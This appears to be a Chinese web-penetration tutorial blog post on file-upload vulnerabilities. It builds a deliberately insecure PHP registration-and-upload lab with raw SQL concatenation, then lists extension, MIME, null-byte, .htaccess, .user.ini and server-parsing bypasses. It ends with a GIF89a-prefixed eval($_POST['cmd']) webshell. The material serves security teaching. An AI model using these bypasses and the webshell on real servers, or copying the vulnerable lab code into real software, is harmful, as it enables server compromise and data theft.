文件上传-- Web渗透

环境准备

form表单提交

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>注册</title>
    <style>
        .wrapper{
            width: 500px;
            margin: auto;
            font-size: 30px;
            margin-top: 100px;
        }
        .wrapper div{
            margin-top: 10px;
            height: 60px;
            
        }
        .wrapper div #username,#password{
            width: 200px;
            height: 40px;   
            font-size: 30px;
        }
        input{
            margin-left: 80px;
        }
        #button{
            width: 100%;
            margin-left: 50%;
            transform: translateX(-130px);
        }
        #button input{
            width: 100px;
            height: 30px;
        }
    </style>
    <script src="./jq.js"></script>
</head>
<body>
    <div class="wrapper">
        <!-- 上传附件要加上 enctype="multipart/form-data" -->
        <form action="reg.php" method="post" enctype="multipart/form-data">
            <div>
                <span>用户名</span><input type="text" name="username" id="username">
            </div>
            <div>
                <span>&nbsp;&nbsp;&nbsp;</span><input type="password" name="password" id="password">
            </div>
            <div>
                <span>&nbsp;&nbsp;&nbsp;</span><input type="file" name="head" id="head">
            </div>
            <div  id="button">
                <input type="submit"value="submit">
            </div>
        </form>
    </div>
</body>
</html>

ajax提交

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>注册</title>
    <style>
        .wrapper{
            width: 500px;
            margin: auto;
            font-size: 30px;
            margin-top: 100px;
        }
        .wrapper div{
            margin-top: 10px;
            height: 60px;
            
        }
        .wrapper div #username,#password{
            width: 200px;
            height: 40px;   
            font-size: 30px;
        }
        input{
            margin-left: 80px;
        }
        #button{
            width: 100%;
            margin-left: 50%;
            transform: translateX(-130px);
        }
        #button input{
            width: 100px;
            height: 30px;
        }
    </style>
    <script src="./jq.js"></script>
</head>
<body>
    <div class="wrapper">
            <div>
                <span>用户名</span><input type="text" name="username" id="username">
            </div>
            <div>
                <span>&nbsp;&nbsp;&nbsp;</span><input type="password" name="password" id="password">
            </div>
            <div>
                <span>&nbsp;&nbsp;&nbsp;</span><input type="file" name="head" id="head">
            </div>
            <div  id="button">
                <input type="submit" onclick="submit()" value="submit">
            </div>
    </div>
</body>
<script>
    function submit(){
        //带有附件上传 new一个
        let formdata = new FormData() 
        formdata.append('username',$("#username").val())
        formdata.append('password',$("#password").val())
        formdata.append('head',$("#head")[0].files[0])
        $.ajax({
            url:'reg.php',
            type:"POST",
            data:formdata,
            cache:false,
            contentType:false,
            processData:false,

            success:function(data){
                alert(data)
                if("注册成功"in data){
                    location.href="login.php"
                }
            }
        })
    }

</script>
</html>

后台环境

<?php

$username = $_POST['username'];
$password = $_POST['password'];
$tmpPath = $_FILES['head']['tmp_name'];// 获得文件临时路径
$filename=$_FILES['head']['name'];//获得文件名称

$conn=new mysqli('127.0.0.1','root','duyun','learn') or die("数据库连接失败");
// 判断用户是否存在
$sql = "select username from  users where username='$username'";
$result = $conn->query($sql);
$row = $result->num_rows;
if($row>0){
    die("用户已被注册!");
}

// 上传文件  uploads 要设置外部用户可写入的权限
$newFileName = date("Ymd-His").".".end(explode(".",$filename));
move_uploaded_file($tmpPath,"uploads/".$newFileName) or die("文件上传失败");

// 用户添加到数据库
$sql="insert into users (username,password,role,avatar)values('$username','$password','editor','$newFileName')";
$conn->query($sql) or die("注册失败");
$conn->commit();
$conn->close();
echo "注册成功";
?>

文件上传检验

前端校验

 //对上传的文件进行检测
    function checkFile(){
        let file = $("#head").val()
        if(file==null || file==""){
            alert("请选择要上传的文件")
            return false
        }
        // 定义允许上传的文件后准
        let allow_ext = "jpg|png|gif"
       let ext_name= file.substring($("#head").val().lastIndexOf('.')+1)
       if(allow_ext.indexOf(ext_name) == -1){
            alert(`请上传后缀为${allow_ext}的文件,您上传的文件类型为${ext_name}`)
            return false;
       }
       return true
    }

前端校验绕过

  • 在浏览器禁用JavaScript(通常不建议使用,因为还存在很多功能需要js)
  • Burp重放注册请求

后端校验

# 校验后缀名
$extName=end(explode('.',$filename));
if($extName == 'php'){# 等等
    die("错误")
}

# 校验文件类型
$fileType=$_FILE['file']['type'];
if($fileType != 'image/jpeg' && $fileType != 'image/png' && $fileType != 'image/gif')

后端校验绕过

  • 大小写转化 PHP PhP等等
  • burp修改content-type后绕过

绕过

后缀名:黑名单、白名单
文件类型:MIME信息
文件头:内容头信息

黑名单:明确不能上传的后缀
php,jsp,asp等

白名单:明确能够上传的后缀
jpg,png,gif等等

客户端绕过

验证的方式是使用前端js代码

可以禁用JavaScript来进行绕过 或者 抓包修改后缀名重放

服务器MIME绕过

MIME检测的是数据包content-type字段。常见的图片格式的MIME类型有以下几种类型

PNG图像:image/png
GIF图形: image/gif
JPG图形:image/jpeg

黑名单 / 白名单

别名解析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pcuDbfrK-1664096401500)(F:/%E7%AC%94%E8%AE%B0%E5%9B%BE%E7%89%87/image-20220917210924891.png)]

大小写绕过

空格绕过

windows系统

使用burp抓包的时候在后缀名后面加一个空格,Windows环境下 后缀名存在空格会直接被删除

点绕过

文件最后一个符号是’.'时会被丢弃

  • " ." 空格点 – 绕过先去空格 再去点
  • “. .” 点空格点 – 绕过先去点 再去空格

::$DATA

NTFS文件系统

PHP+Windows中 如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名.且保持::$DATA之前的文件名。利用windows特性,可在后缀名中加::$DATA绕过

双写绕过

把黑名单中的名字换成空格,则双写后缀名绕过。

%00截断与0x00截断

前提:php的版本要小于5.3.4并且魔术引号必须关闭

%00:主要针对地址上的截断 (url),上传路径是可以控制

0x00截断:主要针对文件命名上的截断

0x00、%00就是相当于 0 只是在get提交 时,经过url编码后,00就成了%00,当url中出现0时就会认为读取已结束

shell.php%00.png

对于 0x00 我们在BP中修改时,需要使用Hex模块,添加00

在这里插入图片描述

.htaccess文件绕过

只有apache具有此文件

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置

通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

web具体应用没有禁止.htaccess文件的上传,同时web服务器提供商允许用户上传自定义的.htaccess文件

创建.htaccess文件

<IfModule mime_module>
AddHandler php5-script .gif  #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php#在当前目录下,所有文件都会被解析成php代码执行
</IfModule>



<FilesMatch "evil.gif">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>


<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>

.user.ini.绕过

前提

  • 服务器脚本语言为PHP
  • 服务器使用CGI/FastCGI模式
  • 上传目录下要有可执行的php文件

.user.ini作用:所有的php文件都自动包含jpg文件

//绕过exif_imagetype()
GIF89a                  
//指定在主文件之前自动解析的文件的名称,并包含该文件,就像使用require函数调用它一样。它包含在所有php文件前先执行
//在页面顶部加载文件
auto_prepend_file=a.jpg  
//解析后进行包含,它包含在所有php文件执行后执行
//在页面底部加载文件
auto_append_file=a.jpg 

跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache

服务器解析漏洞

apache

Apache按从右到左的顺序识别文件后缀,直至找到后缀能匹配配置文件中的设置。遇到不能识别的后缀名便跳过

shell.php.xxx --> 被解析成php文件

利用条件

  • 不可以重命名,上传的名称也是原先的名称

IIS

*.asa*.asp格式的文件夹时其目录下的文件都会当做asp文件解析。

当文件名为*.asp;1.jpg时,IIS会以asp文件来解析,也就是说;起到了截断作用。

Nginx

在Nginx的服务器环境下,假如成功上传一张名为test.jpg的文件到网站,如果我们访问/test.jpg/test.php这个虚构的目录时服务器会直接将test.jpg作为php文件进行解析

文件内容检测

文件头检测

制作图片马来绕过 或者 在文件头部添加文件幻数

GIF89a

shell检测

禁止了文件内容中出现<?

GIF89a // 文件幻术头的方式进行绕过
<script language="php">eval($_POST['cmd']);</script>  //上传的是phtml
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值